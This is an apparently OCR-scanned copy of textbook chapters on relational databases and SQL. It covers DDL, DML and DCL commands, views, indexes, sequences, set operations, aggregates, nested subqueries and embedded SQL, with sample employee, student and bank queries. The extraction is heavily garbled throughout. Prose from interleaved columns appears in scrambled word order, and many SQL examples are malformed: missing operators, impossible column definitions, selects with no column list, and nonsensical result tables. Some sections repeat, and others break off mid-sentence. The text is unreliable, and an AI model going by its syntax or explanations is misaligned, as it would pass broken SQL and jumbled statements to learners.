Adbms PDF
Adbms PDF
Introduction to RDBMS
1.0
1.1 Objectives
1.2
Introduction
What is RDBMS ?
i.3
Difference between DBMS & RDBMS
1.4
1.5
Summary
Check your
1.6 Progress
Answers
Questions for Self-Study
-
1.0 Objectives
After reading this chapter you will be able to,
Describe what RDBMS is
State the difference between
DBMS& RDBMS
1.1 Introduction
Most of the problems faced at the time
of implementation of
system are outcome of a poor database design. In many casesanyit
happens that system has to be continuously modified in
multiple
respects due to changing requirements of users. It is very important
that a proper planning has to be done.
A relation in a relational database is based on a
relational schema,
which consists of number of attributes.
A relational database is made up of a number of relations and
corresponding relational database schema.
The goal of a relational database design is to generate a set of relation
schema that allows us to store information without unnecessary
redundancy and also to retrieve information easily.
One approach to design schemas that are in an appropriate normal
fom. The normal forms are used to ensure that various types of
anomalies and inconsistencies are not introduced into the database.
Introduction to RDBMS/ 1
which might be related
into collection of tables,
data RDBMS also provide
RDBMS store the
(database table columns). the database
fields stored into
by c o m m o n manipulate the data
database query language
relational operators
to
SQL as
tables. Most
RDBMS use
DB2, Oracle and
MS SQL Server,
RDBMS are
The most popular
MySQL. record-based model. Record
is an example of is structured in
The relational model because the
database
so named contains records of a
based models are table
several types. Each
format records of
fixed defines a fixed
number of fields, or
Each record type to the attributes of the
particular type.
columns of the table correspond used data
attributes. The
relational data
model is the most widely
record types. The systems are based on
of current database
model, and a vast majority
the relational model. scientist and
the IBM research
relational model was designed by not conform to
The
E.F.Codd. Many
modern DBMS do
Dr. are still
but nonetheless they
mathematician,
Codd's definition of a RDBMS, focal points when
the Dr.Codd's main
considered to be
RDBMS. Two of
data redundancy
relational model were
to further reduce
designing the within database systems.
The relational
and to improve data integrity Dr.codd entitled "A
authored by
from a paper
model originated Data Banks", written in
Relational Model of Data
for Large Shared
that apply to
included the following concepts
1970. This paper databases.
for relational
database management systems
data structure used in
the relational data model
The relation is the only between them.
entities and relationships
to represent both the relation and
refered to as tuples of
Rows of the relation are column are drawn
Each attibute of the
columns are its attributes.
domain of an attribute
the set of values known as domain. The
from
the attribute may assume.
contains the set of values that is relatively
the relational data model
From the historical perspective, either network or
database systems were based
on
new .The first established itself
hierarchical models .The
relational data model has
the primary data model
for commercial data processing
as
this domain has led to its applications
applications. lis success in and
outside data processing in systems
for computer aided design
other environments.
RDBMS
1.3 Difference between DBMS &
should be accessible
A DBMS has to be persistent, that is it or even the
ceases to exist
when the program created the data to
that created the data restarted.
A DBMS also has
application of a specific application
provide some unifom methods independent stored. RDBMS is a Relational
the information that is
tor accessing DBMS. This adds the
Data Base Management System Relationala tabular structure Tor the
additional condition that the system supports
dala, with enforced relationships between the tables. This excludes
Oracle 2
the databases that don't
support a tabular structure or don't enforce
relationships between tables. You can
say DBMS does not impose
any constraints or security with
or the programmer
regard to data manipulation it is
user
the database whereasresponsibility to ensure the ACID PROPERTY of
the RDBMS is with this
RDBMS define the more regard because
PROPERTY.
integrity constraint for the purpose of holding ACID
1.4 Summary
Introductionto RDBMS/3
users. TheDBMS allows these users to access and manipulate
data contained in the database in a convenient and effective man the
tho
True or false
1) False
2) True
3) True
4) True
5) False
2.0 OBJECTIVES
will able to
After reading this chapter you
state SQL, DDL, DML, DCL Statements
& clause
explain Select.group by having
explain String &set operations
describe Aggregate Functions
Queries
describe Nested Sub
describe Embedded & Dynamic SQL
Data Manipulation
& Control/5
2.1 INTRODUCTION
Structured Query
study the query language
In this chapter we
Relational algebra and
uses a
combination of
which
Language (SQL)
Relational calculus.
and retrieve
sub language used to organize, manage
It is a data Relational
database, which is managed by
data from relational
(RDBMS).
Database Management System
and Ingress use
Vendors of DBMS like
Oracle, 1BM, DB2, Sybase,
for their database.
SQL as programming language
at 1BM's San
the system R project in 1974
SQL originated with
Jose Research Centre.
was an Application
was SEQUEL which
Original version of SQL
to the system R project.
Program Interface (API) SQUARE.
was named
The predecessor of SEQUEL
version.
SQL-92 is the current standard
and is the current
The SQL language can be used in two ways
Interactively or
Embedded inside another program.
a database and
to directly operate
The SQL is used interactively that is
results. The user enters SQL command
produce the desired tool that allows
Most databases have a
immediately executed. SQL Base's
interactive execution of the
SQL language. These include
7 Query
and Microsoft's SQL server
SQL Talk, Oracle's SQL Plus,
Analyzer. it in
a SQL command is by embedding
The second way to execute Visual Basic,
another language such as
Cobol, Pascal, BASIC, C,
to the
The result of embedded SQL command is passed
Java, etc. The
which in turn will deal with them.
variables in the host program,
combination of SQL with a
fourth-generation language brings together
allows creation of user interfaces
and
the best of two worids and
database access in one application.
purpose.
Oracle 6
Data Definition Language (DDL).
Data Manipulation Language (DML).
Data Control Language (DCL).
DEFINITION LANGUAGE
2.3 DATA
schemas,
commands for defining relation
The SQL DDL provides relation schemas.
indices, and modifying
deleting relations, creating of relations
The SQL DDL allows the
specification of not only a set
relation including:
but also information about each
relation.
The schema for each
attribute.
associated with each
The domain of values
Control/ 7
Data Manipulation &
The integrity constraints.
The set of indices to be maintained for each relation.
The security and authorization information for each relation.
The physical storage structure of each relation on disk.
Domain/Data Types in SQL
The SQL 92 standard supports a variety of built-in domain types,
including the following:
(1) Numeric data types include
Integer numbers of various sizes
INT or INTEGER
SMALLINT
Real numbers of various precision
REAL
DOUBLE PRECISION
FLOAT (n)
Formatted numbers can be represented by using
DECIMAL6, j) or
DEC (.)
NUMERIC ((, j)or NUMBER
(. j)
where, i the precision, is the total number of decimal
-
digits
andj the scale, is the number of digits after
The default for scale is
the decimal point.
zero and the default for precision is
implementation defined.
(2) Character string data types are
either íixed length
length.
cr
väi yuy
CHAR (n) or CHARACTER (n) - is fixed length character
string with user specified length n.
VARCHAR (n) is a variable length character
-
or attributes.
NOT NULL -
that column is mandatory. This feature
It specifies
allows ou to prevent data from being entered into table without
certain columns having data in them.
Examples of CREATE TABLE Command
(1) Create Table Employee
varchar2 (20) NOT NULL
(Ename
B_Date Date,
Salary Decimal (10, 12)
Address Varchar2 (50);
(2) Create Table Student
(Student_id Varchar2 (20) Not Null,
Last_Name Varchar2 (20) Not Null,
Examples
Create table_department
(Department_id Varchar2 (20),
Department_name Varchar2 (20).
Constraint PK_Department
Primary key (Department_id)
Create table_course
(Course_id Varchar2 (20),
Department_id Varchar2 (20)
Title Varchar2 (20).
Varchar2 (20),
Description
Constraint PK_course
Primary key (Course_id, Department_id),
Constraint FK-course
(Department_id) references Department
Foreign key
(Department_id)
Thus. primary key of course table is (Course_id, Department_id).
Oracle 14
Address Varchar2 (25).
Constraint PK_instructor
Primary key (Instructor_id);
If the position
of the instructor is not one of the three legal
values, DBMS will return an error code
indicating that a check
constraint has been violated.
More than one column can have check constraint.
Create table_Patient
(Patient_id Varchar2 (25) Primary key
Body_ Temp Number (4, 1)
Constraint Patient_BT
CHECK (Body_Temp >= 60.0 and
Body_ Temp= 110.0).
Insurance StatusChar(1)
Constraint Patient 1Ss
CHECK (lnsurance-Status in (Y, y, 'N', 'n'))
One column can have more than one CHECK constraint.
Create table_Loan application
-
Column_name n
datatype)
Example:
SQL> Describe Department;
Name NULL? Type
********************* ***** ************
Department_id Varachar2 (20)
Department_name Varachar2 (20)
SQL> Alter table Department ADD (University
Varchar2 (20),
No_of_student Number (3);
SQL Describe Department;
Name Null
Type
Department_id Varachar2 (20)
Department_Name Varachar2 (20)
University Varachar2 (20)
No_of_student Varachar2 (20)
Oracle 16
column definition from NOT NULL to NULL
(i) Changing a
i.e. from mandatory to optional
Consider a table ex_table.
Data Manipulation
& Control/ 17
(3) Adding a constraintto an existing table:
Any constraint i.e. a primary key, foreign key, unique ke
orcheck constraint can be added to an existing table usin
ALTER TABLE command.
ALTER TABLE table_name
ADD (constraint)
Example
SQL> Create Table ex_table
(Record_No Number (38).
Description Varchar2 (40),
Current_value Number)
Table created
SQL> Alter Table ex_table add
(Constraint PK_ex_table primary key (Record-No))
Table Altered.
(4) Dropping the constraints
ALTER TABLE table_name
DROP Primary key
Using this you can drop primary key of table.
ALTER TABLE Table_name
DROP constraint constraint_name
Using this you can drop any constraint of the table.
Rules foradding or modifying a column:
Following are the rules for adding column to a table
(1) You may add a column at any time if NOT NULL
specified.
(2) You may add a NOT NULL column in three
steps
() Add a column without NOT NULL specified
(ii) Fill every row in that column with data,
(ii) Modify the column to be NOT NULL.
Following are the rules to modify a column.
(1) You can increase a character column's width at any time.
(2) You can increase the number of digits in a NUMBER
column at any time.
(3) You can increase or decrease the number of places in a
NUMBER column at any time.
If a column is NULL for every row of the table,
you can
make following changes.
You can change its data type
(ii) You can decrease a character column's width
Oracle 18
in a NUMBER
(i) You can decrease the number of digits
column
Command
3. DROP TABLE
table's definition fromm
Dropping a table means to remove the
used to drop the table
the database. DROP TABLE command is
asfollows
DROP TABLE table_name:
Example
()SQL> Drop table_student
Table dropped
(2)SQL Drop table instructor
Table dropped.
You drop a table only when you no longer need it.
Note The truncate command in ORACLE can also be used
to remove only the rows or data in the table and not the table
definition.
Example
Truncate student
Table truncated
Truncating cannot be rolled back.
19
Data Manipulation & Control
table.
a column
belonging to
olumn name is whose type matches
an expression
column_value is a
literal value or
the corresponding column_name. must match
column_names
Oracle / 20
The use of insert without column list may cause
following
problems.
1 The table definition might change, the number of
columns
might decrease or increase, and the INSERT fails as a result.
2. The INSERT statement might succeed but the
wrong data
could be entered in the table.
2. DELETE Command:
The syntax of delete statement is:
DELETE FROM table_name
WHERE condition)
The variables are defined as follows
table_name is the table to be updated.
condition- is a valid SQL condition.
DELETE Command without WHERE clause will
empty the
table completely.
Example
sQL Delete from Student
Where Student_id =
'SE 201
1 row deleted.
SOL> Detete from student
Where first_name "Sachin' and
Student id SE 202;
row deleted.
3. UPDATE Command
If you want to modify existing data in the database, UPDATE
command can be used to do that. With this statement you can update
zero or more rows in a table.
The syntax of UPDATE command is:
UPDATE table_name
SET column_name:: expression
[.column_name: expression]
. column_name: expression)
(where condition]
The variables are defined as follows
table_name is the table to be updated
column_name is a column in the table being updated.
expression is a valid SQL expression.
table
Example:
SQL Update Student
Set
City = 'Pune,
State 'Maharashtra'
SQL> Update Instructor
Set
Position = 'Professor
where
Instructor id = 'P3021:
SQL Grammar
Here, are some grammatical requirements to keep in mind when
you are working with SQL.
1. Every SQLstatement is terminated by a semicolon.
2. An SQL statement can be entered on one line or
several lines for clarity. split across
3. SQL isn't case
sensitive. You can mix
lowercase when referencing SQL uppercase and
keywords
INSERT), table names, and column names. (Such
as SELECT and
Oracle 22
The where clause corresponds to the selection predicate of
the relational algebra.
It consists of predicate involving attributes of the relations that
select clause.
A simple select statement:
contains the following two
At a minimum, select statement
elements.
The select list, the list of columns to be retrieved.
retrieve the
The from clause, the tables from which to
rows.
table.
Example : Consider the student database
query that retrieves only
(1) A simple select statement a
student_id from the student table is given
sQL select student_id
from student;
student id *4**************************** ************************************************************************************ *****************
S 10231
S 10232
S 10233
S 10234
S 10235
student id
************************esssn********s************************************************** **e********** * * * * * * * *e
First name
*asan********ss****************.oanson**as*..
S 10231 Sachin
S 10232 Rahul
S 10233 Ajay
S 10234 Sunil
S 10235
Kapil
S 10236
Anil
6 rows selected.
Description Operator
Addition
Subtraction
Multiplication
Division
For example, consider the following queries using operators in
select list
SQL Select E_name, Salary 1000
from Employee;
E name Salary 1000
************"************************"*************"*"*******"********************************************************************
Sachin 1,00,00,00o
Rahul 2,00,00,000
Ajay 1,00,00,000
Anil
1,00,00,000
4 rows selected.
SQL>Select Ename, Salary + 10000
from Employee
E_namne
****
******* Salary+ 10000
*****************
** **"*
****************************************************
Sachin 20,000
Rahul 30,000
Ajay 20,000
Anil 30,000
4 rows selected.
Select statement using where clause
select and from clauses provide you with either some columns
and all rows or all columns and all rows. But if
you want only certain
rows, you need to add another clause, the where clause.
where clause consists of one or more conditions that must be
satisfied before is retrieved by the query.
a row
It searches for a condition and narrows your selection of data.
For example, consider select statement with where clause
given
below
SQL Select Student id, First_name
from Student
where Student_id =
'S 10234
Student_jd First_name
S10234 Sunil
E_name
*********** ***************'*************** **** * - **** * * * * *
******** ********** "
Salary
********* ******************************* *****
******** **.
Rahul 20000
Anil 20000
2 row selected
where uses the logical connectives and, or and not.
where clause uses the comparison operators
Description Operator
Less than
Less than or equal to
Greater than
Greater than or equal to
Equal to
Not equal to = or <
Anil 20000
1 row selected.
5. Views in SQL
A view in SQL terminology is a single table that is derived from
other tables. These other tables could be base tables or previously
it is
defined views. A view does not necessarily exist in physical form; are
considered a virtual table in contrast to base tables whose tuples
limits the possible update
actually stored in the database. This
to views but does not provide any
operations that can be applied
limitations on a view. We can think of view as a way
querying
a table that we need not exist physically.
specifying
SQL
Specification of Views in the
command to view is CREATE VIEW. We give
specify a
The the
attribute names, and a query to specify
view a table name, a list of
result from applying
contents of view. If n o n e
of the view attributes
Oracle/ 26
relation.
Consider
functions orarithmetic operations, we do not have to specify attribute
scheme
street
emp_namne city
Sachin XYZ Pune
Rahul ABC and Bombay
Raj ABC Pune
Ajay XYZ Bombay
Anil XYZ Delhi
corresponding
Sunil ABC Bombay
salary
12000
10000
13000
14000
15000
11000
Comp_name city
TCS Delhi
MBT Bombay
PCS Pune
not updatable.
(3) Views defined using grouping and aggregate functions are
not updatable.
Example
Consider the view consisting of branch names and names of
customers who have either an account or a loan at that branch.
SQL>Create view all_customer as
(select branch_name, customer_name
from depositor, account
where depositoraccount_number =
Oracle/28
created are termed indexing attributes. An index makes accusing
tuples based on conditions that involve its indexing attributes more
efficient. This means that in general executing a query will take less
time if some attributes involved in the query conditions were indexed
than if they were not. This improvement can be dramatic for queries
where large relations are involved. In general, if attributes used in
selection conditions and in join conditions of a query are indexed, the
execution time of the query is greatly improved.
In SQL indexed can be created and dropped dynamically. The
create Index command is used to specify an index. Each index is
given a name, which is used to drop the index when we do not need it
any more.
xa nple:
Create Index Emp_Index
ON Employee (Emp_name);
In general, the index is arranged in ascending order of the
indexing attribute values. If we want the values in descending order
we can add the keyword DESC after the attribute name. The default in
ASC for ascending. We can also create an index on a combination of
attributes.
Example
Create Index Emp_Index1
ON Employee (Emp_name ASC,
Comp_name DESC);
There are two additional options on indexes in SQL. The first is to
indexes.
Index command. The reason
To drop an index, we issue the Drop whenever
are expensive to maintain
for dropping indexes is that they
and they require additional storage.
the base relation is updated
a key constraint should
not be
However, the indexes that specify that
want the system to continue enforcing
dropped as long as we
constraint.
Example
Drop Index Emp_Index;
Creating Sequences
Always give sequence a name so that it can be referenced later when
required.
The minimum information required for generating numbers using a
sequence is
-The starting number
The maximum number that can be generated by a sequence
-
The increment value for generating the next number
This information is provided to oracle at the time of sequence creation
Syntax:
CREATE SEQUENCE <SequenceName>
(INCREMENT BY <IntegerValue>
(START WITH <IntegerValue>
MAXVALUE <IntegerValue> / NOMAXVALUE
MINVALUE <IntegerValue> /NOMINVALUJE
CYCLE/NOCYLCLE
CACHE <IntegerValue>/NOCACHE
ORDER/NOORDER]
Example
Create a sequence by the name ADDR_SEQ ,which will generate
numbers from 1 uptp 9999 in ascending order with an interval of 1.The
sequence must restart from the number 1 after generating number
999
CREATE SEQUENCE ADDR_SEQ INCREMENT BY 1 START WITH
1 MINVALUE 1 MAXVALUE 999 CYCLE;
LANGUAGE
2.5 DATA CONTROL
The data control language commands are related to the security
of database. They perform tasks of assigning privilages, so users can
access certain objects in the database. This section deals with DCL
commands.
1. GRANT Command
The objects created by one user are not accessible by another
user unless the owner of those objects gives such permissions to
other users. These permissions can be given by using the GRANT
statement. One user can grant permission to another user if he is the
owner of the object or has the permission to grant access to other
users.
Oracle /32
Update alows the grantee to modify the records in tables with
UPDATE command.
With grant option: It allows the grantee to grant object privilages
to other users.
2. REVOKE Command
The REVOKE statement is used to deny the grant given on an
object.
Syntax
REVOKE (object privilages)
ON object name
FROM user name;
The list of object privilages is:
Alterallows the grantee to change the table definition with the
ALTER TABLE command.
Delete allows the grantee to remove the records from the table
command.
grant
didn't to the revokee.
1. Revoke the object privilages that you
the operating system
2. Revoke the object privilages granted through
Revoke Delete privilege on
student table from Pradeep.
Example 1:
REVOKE DELETE
ON student
From Pradeep;
the remaining privilages on student that
Example 2: Revoke
were granted to Pradeep.
Revoke ALL
ON student
FROM Pradeep
3. COMMIT Command
Commit command is used to permanently record all changes that
the user has made to the database since the last commit command
was issued or since the beginning of the database session.
Syntax :
COMMIT;
Implicity cOMMIT
The actions that will force a commit to occur even without your
instructing it to are
quit, exit,
create table or create view
drop table or drop view
grant or revoke
connect or disconnect
alter
audit and non-audit
Using any of these commands is just like using commit. Until
commit, only you can see how your work affects you
else with access to these
the tables. Anyone
tables will continue to get the o0
information.
Oracle 34
4. ROLLBACK command:
The ROLLBACK statement does the opposite of the commit
exact
but undoes any changes made
statement. It ends the transaction
during the transaction. Rollback is useful for two reasons:
(1) If you have made a mistake, such as deleting the wrong row
for a table, you can use rollback to restore the original data. Rollback
willtake you back to intermediate statement in the current transaction,
which means that you do not have to erase the entire transaction.
(2) ROLLBACK is useful if you have started a transaction that you
cannot complete. This might occur if you have a logical problem or if
there is an SQL statement that does not execute successfully. In such
cases rollback allows you to return to the starting point to allow you to
take corrective action and perhaps try again.
Syntax: ROLLBACK[WORK] [TO [SAVEPOINT) save point
where
WORK- is optional and is provided for ANSI compatibility
SAVEPOINT i s optional and is used to rollback a partial
transaction, as far as the specified save point.
current transaction.
Savepoint: is savepoint created during the
a
Example
To rollback entire transaction ROLLBACK,
To rollback to savepoint sps: ROLLBACK TO SAVEPOINT
sps
Savepoints:
Savepoints mark and save the current point in the current
processing of a transaction Used with the ROLLBACK statement,
from 2 m
where P.
The variables are defined as follows
AAa An represent the attributes.
m represent the relations from which the
attributes are selected.
P -is the predicate.
This query is equivalent to the relational
algebra expression
A, A p . An S , , *T2 * . . xm))
changed. The only two mandatory columns are SELECT and FROM.
the remainder are optional.
Description Operator
Addition
Subtraction
Multiplication
Division
list
SOL>Select E_name, Salary. 1000
from Employee
1,00,00,000
*********************************************"*****
Sachin
Rahul 2,00,00,000
1,00,00,000
Ajay
Anil 1,00,00,000
4 rows selected.
SQL> Select E_name, Salary+ 10000
from Employee;
E nam Salary+ 10000
******************************************amabaa****************4*********** ***************.******************** ************************************************************
.....
Sachin 20,000
Rahul 30,000
Ajay 20,000
Anil 30,000
4 rows selected.
Select statement using where clause
2.
select and from clauses provide you with either some columns
and all rows or all columns and all rows. But if you want only certain
rows, you need to add another clause, the where clause.
where clause consists of one or more conditions that must be
satisfied before a row is retrieved by the query.
It searches for a condition and narrows your selection of data.
For example, consider select statement with where clause given
below
SQL> Select Student_jd, First_Name
from Student
where Student_id = 'S10234
S10234 Sunil
1 row selected
SQL> Select E_name Salary
from Employee
where Salary> 10000
**
E name
* * * * * * * * * * * * * *insh*****aan a***************osnanesn s**seaseasagsn************************** * se Salary ***** *snnsan
Rahul 20000
Anil 20000
2 row selected
Oracle 38
Description
Less than
Less than or equal to
Greater than
Greater than or equal to
Equal to
Not equal to or <>
SQL>Select E_name, Salar)
from Employee
Operator
where Salary>10000 and Ename = Anil
E_namee s**
Salary
srosssresnss*onsessrsesasssssssaarupseseanse*6**oleee**e*****************
Anil 20000
1 row selected.
Range Searching
In order to select data that is within a range of values ,the BETWEEN
operator is used. The BETWEEN operator allows the selection of rows
that contain values within a specified lower and upper limit. The range
coded after the word BETWEEN is inclusive
The lower value must be coded first. The two values in between the
range must be linked with the keyword AND. The BETWEEN operator
can be used with both character and numeric data types.However the
datatypes can not be mixed.i.e the lower value of a range of values
from a character column and the other from a numeric column.
Example 1: Listthetransactions performed inmonths of
January to March
Solution:
SELECT FROM TRANS_MSTR WHERE TO_CHAR(DT,MM)
BETWEEN 01 AND 03;
Equivalent to
ECT FROM TRANS_MSTR WHERE TO_CHAR (DT, MM')>=01
AND TO_CHAR(DT, MM"')<=03;
Explanation
The above select will retrieve all those records from the ACCT_MSTR
table where the value held in the DT field is between 01 and 03 (both
values inclusive). This is done using TO_CHAR() function which
extracts the month value from the DT field. This is then compared
using the AND operator.
F_NAME STATUS
*****************************************************************************
GENDER
****************** *********** *
BIRTHDATE
******** ********* **********
Ajay Regular M 05/03/69
Ashwini Regular F 11/01/70
Rahul Summer M 01/12/72
Smita
Regular F 23/09/67
Oracle 40
2.8 GROUP BY CLAUSE
Column names
Aggregate functions
Constantss
An expression involving combinations of the above.
Example
Consider the worker table given below
SQL>select
from worker
STATUS GENDERR BIRTHDATE
F_NAME
*************************.************ . ***
Oracle/ 42
condition 'on the row is performed
In a where clause, the search
formed first
before rows are grouped. In having clause, the groups are
and the search condition is applied to the group.
Syntaxis
select select_list
from tablelist
where condition [AND : OR] . . . . condition]
column N
group by column 1, column 2, .
[Having condition]
Example
SQL>select
from worker
Group By status, Gender
Having Gender "F;
11/01/70
Ashwini Regular
F 23/09/72
Smita Regular
SQL>select
from worker
******:******** *****
Regular M 05/03/69
Ajay
.
1 "con%" matches with any string beginning with con'. For
Example Queries
of customers whose city name include "bad"
(1) Find the names
Sachin Aurangabad
Rahul Hyderabad
Ajay Ahemadabad
(2) Find the student's last name and id if the last name begins
with "Desh"
sQL> select student_id, last_name
from student
where last_name like "Desh %";
student id last name
**rAssagnauesnousrsne*ssssape aps*sopnstore*sessengsspnsens seasn***
101 Deshpande
102 Deshmukh
For patterns to include the special characters (i.e. % & -), SQL
allows the specification of an escape character (). The escape
character is used immediately before a special character to indicate
that the special pattern character is to be treated like a nomal
character. We define the escape character for a like comparison us1iny
the escape keyword. To illustrate, consider the following patterms,
which use a backslash () as the escape character
(1) like 'ab1%cd' escape '
matches all strings beginning with "ab%cd".
(2) like 'abllcd escape
matches all strings beginning with ablcd.
(3) like 'abl_cd' escape \
matches all strings beginning with ab_cd.
SQL allows us to search for mismatches instead of matches by
using the not like comparison operator.
Oracle/ 44
2.11 DISTINCT ROWs
Example
SQL>select distinct branch_name
from loan;
which eliminates duplicate values in the result.
SQL select all branch_namne
from loan;
result relation.
it specifies that duplicates are not eliminated from
will not use all.
Since duplicate retention is by default, we
Example borrower_loan_no.
select distinct customer_name,
SQL from borrower, loan
where borrower-loan_no
=
loan-loan_no and
branch name = "ICICI';
loan_jd.,
bank.
SQL (select customer_name
from depositor)
INTERSECT
(select customer_name
from borrower)
eliminates duplicates. If we
The intersect operator automatically
we must write INTERSECT all
in place of
want to retain all duplicates,
INTERSECT.
The Minus Operator (Except operator):
The syntax for using Minus operator is
select_statement 1
Minus
select_statement 2
order by clause]
at the bank.
SQL> Select customer_name
from depositor
MINUS
Select customer_name
from borrower
Oracle / 48
2.14 AGGREGATE FUNCTIONs
Example of balance.
values
Find the minimum and maximum
from account.
Select max (balance) min (balance)
sum function:
column's total value. Input to this
sum function computes the
of numbers.
function must be a collection
Oracle /50
2.15 NESTED SUB QUERIES
SQL provides a mechanism for the nesting of sub queries. A sub
query is a select-from-where expression that is nested within another
query. A common use of sub queries is to perform testsfor:
1. Set membership
2. Set comparison
3 Set cardinality.
Find all customers who have both an account and loan at the
(2)
ICICI branch.
SQL> select customer_name
from borrower, loan
where borrower loan no = loan loan_no and
branch_name =
ICICI' and
(branch_name, customer_name) in
(select branch_name, customer_name
from depositor, account
where depositor-account_no= account account_no);
Example queryfor not in connective:
(1) Find all customers who do have a loan at the bank, but do not
have an account at the bank.
SQL select customer_name
from borrower
2. Set Comparison:
SQL allows following set comparison operators
Less than at least one
<Some
Example Query:
Find the names of all branches that have assets greater than
those of at least one branch located in Bombay
SQL select branch_name
from branch
where assets> some (select assets
from branch
where branch_city ='Bombay')
Sub query(select assets
from branch
where branch city Bombay)
generates the set of all asset values for all branches in Bombay.
some comparison in where clause of The
the outer select is true if the
asset value of the tuple is greater than at
least one member of the se
of all asset values for branches in
Bombay.
SQL also supports
following
set of
comparison operators
all less than all
=all . less than or
equal to all
all greater than all
> all
greater than or equal to all
Oracle 52
all equal to all
<all not equaltoall
Example Query
Find the branch that has the highest average balante.
SQL select branch_name from account
group by branch_name having avg (balance) >= all (select avg
(balance) from account group by branch_name);
Test for Empty Relations
SQL includes a feature for testing whether a sub query has any
tuples in its results.
The exists construct returns the value true if the argument query
is non-empty.
Similarly, we can test the non-existence of tupiles in a sub-query
by using the not-exists construct.
Example Query using exists construct
"Find all customers who have both an account and a loan at the
bank."
SQL> select customer_namne
from borrower
where exists (select
from depositor
depositor customer_name
=
where
borrower-customer_name);
Example Query using Not exists construct
Find all customers who have an account at all branches located in
minus
(select R branch_name
from depositor as T, account as R
where
T.account_number= R:account_number
and
where,
(select branch_name
from branch
where branch_city 'Bombay')
in Bombay.
Finds all the branches
The sub query
(select R branch_name
account as R
from depositor as T,
= R:account_number
where Taccount_number
= T-customer_name)
and S customer_name has an
customer Scustomer_name
Finds all branches at which
branch.
SQL select T-customer_name
from depositor as T
where unique (select R:customer_name
from account, depositor as R
where T-customer_name
Rcustomer_name and
Raccount_no = account account_number
and
account branch_name =
"ICICr);
We can test for the existence of duplicates in a sub-query by using
the not unique construct.
Example Query:
Find all customers who have at least two accounts at the ICI
branch.
SQL> select distinct T-customer_name
from depositor T
Oracle 54
where not unique (select R customer_name
from account, depesitor as R
where Tcustomer_name = Rcustomer_name
and
Raccount_number = account: account_number
even further.
Oracle / 56
The variable c in the example is called cursor for the query. This
variable is used to identify the query in open and fetch statements
Open statement Open statement causes the query to be
evaluated
The open statement for the above
given query is
EXEC SQL open c END-EXEC
It causes the database system to evaluate the query and stores
results within a temporary relation. If SQL query results in an error. the
database system stores an error diagnostic in the SQL communication
area (SQLCA) variables, whose declarations are inserted by SQL
INCLUDE statement
Fetch statement: A fetch statement causes the values of one
tuple be placed in host language variables. A series of fetch
statements is executed to make the results available to program. The
fetch statement requires one host-language variable for each attribute
of the result relation.
For our example, consider that customer_name is stored in cn and
Customer city in cc.
EXEC SQL fetch c into cn: cc END EXEC:
One fetch statement return only one tuple. To obtain all tuples of
the result, the program must contain a loop to iterate overall tuples
Embedded SQL assists the programmer in managing this iteration. In
a relation, tuples of the result of a query are in some fixed physical
order. When an open statement is executed, the cursor is set to point
to the first tuple of result. When fetch is executed, the cursor is
updated to point to the next tuple of the result. A variable in SQLCA is
set to indicate that no further tuples remain to be processed. Thus we
can use while loop to process each of the tuples.
Oracle/ 58
where emp n o = 123461 and
(select pay_rate
from Employee
where emp_no 2 123460);
who are working either on the date
(8) Get employees
19860419 or 19860420.
select emP_no
from Duty_allocation
where Day in (19860419, 19860420);
OR
select empP_no
contains
(select P.posting_no
from position P
where P.skill = "Chef);
lowest pay rate
(10) Find the employees with the
select emp_no, Name, Pay_rate
from Employee
where pay_rate s all
(select pay_rate
from Employee)
Get the names of Chef's paid at the minimum Pay-Rate.
(11)
select name
from Employee
where skill = 'Chef' and
pay_Rate s all
(select pay_rate
from Employee
where skill='Cher) employees
Find the names and the rate of pay of all
(12)
who are allocateda duty.
select name, pay_rate
from Employee
where EXISTS
(select
from Duty_allocation
where Ernployee.emp_no Duty_allocation.emp_no)
=
of all employees
(13) Find the names and the rate of pay
who are not allocated a duty.
select name, pay_rate
from Employee
where NOT EXISTS
(select.
Oracle / 60
from Duty_allocation
where Employee.emp_no
= Duty allocation.emp_no)
(14) Get employees who are waiters or work at Posting-no
321
(select emp_no
from Employee
where skill = 'waiter)
Union
(select emp_no
from Duty_allocation
where posting_no 321)
(15) Get numbers of persons who work at
employee
posting-no 321 but don't have the skill of waiter.
(select emp_no
from Duty_allocation
where posting_no = 321)
minus
(select emp_no
from Employee
where skill waiter)
(16) Get a list of employees not assigned a duty
(select emp_no
from Employee)
minus
(select emp_no
from Duty_allocation)
skill of Chef who
(17) Get a list of names of employees with the
are assigned a duty
select Name
from Employee
where emp_no in
(select emp_no
from Employee
where skill = "Chef)
intersect
(select emp_no
from Duty_ailocation);
(78) Get a count employees on each shift
of different
select shift, count (distinct emp_no)
from Dutyallocation
database
(10) Consider the given
Project (project_id, proj_name, chief_arch)
Employee (Emp_id, Emp_name)
Assigned_To (Project_id, emp_id)
statements
Find the SQL queries for the following
intersect
(select emp_name, A.empid
from A.Assigned_To A, Employee
where project_id = 'C354'):
Oracle/ 62
(5) Get employee numbers of employees who do not work
on project C 453
(select enp_id
from Employee
minus
(select emp_id
rom assigned_to
where project_id = "C453);
(select project_id
fromproject);
(7) Get employee numbers of employees who work on at
least all those projects that employee 107 works on
((select emp_id
from Assigned_To
where project_id = all
(select project_id
from Assigned_To
where emp_id = 107))
minus107)
at least
(8) Get employee numbers who work on one
((select emp_id
from Assigned_To
where project_id in
(select project_id
from Assigned to
where emp_id =107)
minus 107);
from works
where company_name
=
'FBC
(2) Find the names and cities of all employees who wor,
for FBC.
select employee employee_name, city
from works, employee
where employee employee_name = works employee_nama
where e.emp_name
=
W.emp_name and
C.company_name. w. company_name and e.city = city;
the
(5) Find all employees in the database who live in
cities and on the same street as do
their
same
managers.
select E.employee_name
from employee E.employee T, manages
where E.employee_name= manages.employee_name
and E.street T.street and E.city T.city and
T.employee_name = manages.manager_name
Oracle/ 64
(select employee_name
from works
where company name = 'FBC");
(7) Find all employees in the database who earn more than
every employee of small bank corporation
select employee_name
from works
where salary> (select max (salary)
from works
where company_name = "FBC);
(8) Find all employees who earn more than the average
salary of all employees of their company.
select T.employee_name
from works T.
where salary (select avg (S.salar)
from works S.
where T.company_name = S.company_name;
(9) Find the company that has the smallest payroll
sQL create view payroll (compname, smallpay)
as
select company_name, min (salary)
from works
group by company name;
SQL select company name
from payrol
where small_pay = (select min (small_pay) from
payroll):
(10) Find those companies whose employees earn a higher
salary, on average than the average salary at FBC
sQL create view avg_salary (comp_name, av_sal)
as
select company_name, avg (salary)
from works
group by company name
SQL select T.comp_name
from avg_salary T. avg_salary S.
where S.company_name = 'FBC
from no emp)
2.18 Summary
table.
Source:msdn.microsoft.com(e-link)
2.2-2.7
1)Grant&Revoke
2) Unique& Not Null
3) DDL
4)Commit
5) Having
2.8-2.12
1)Grouped
2)Distinct or Unique
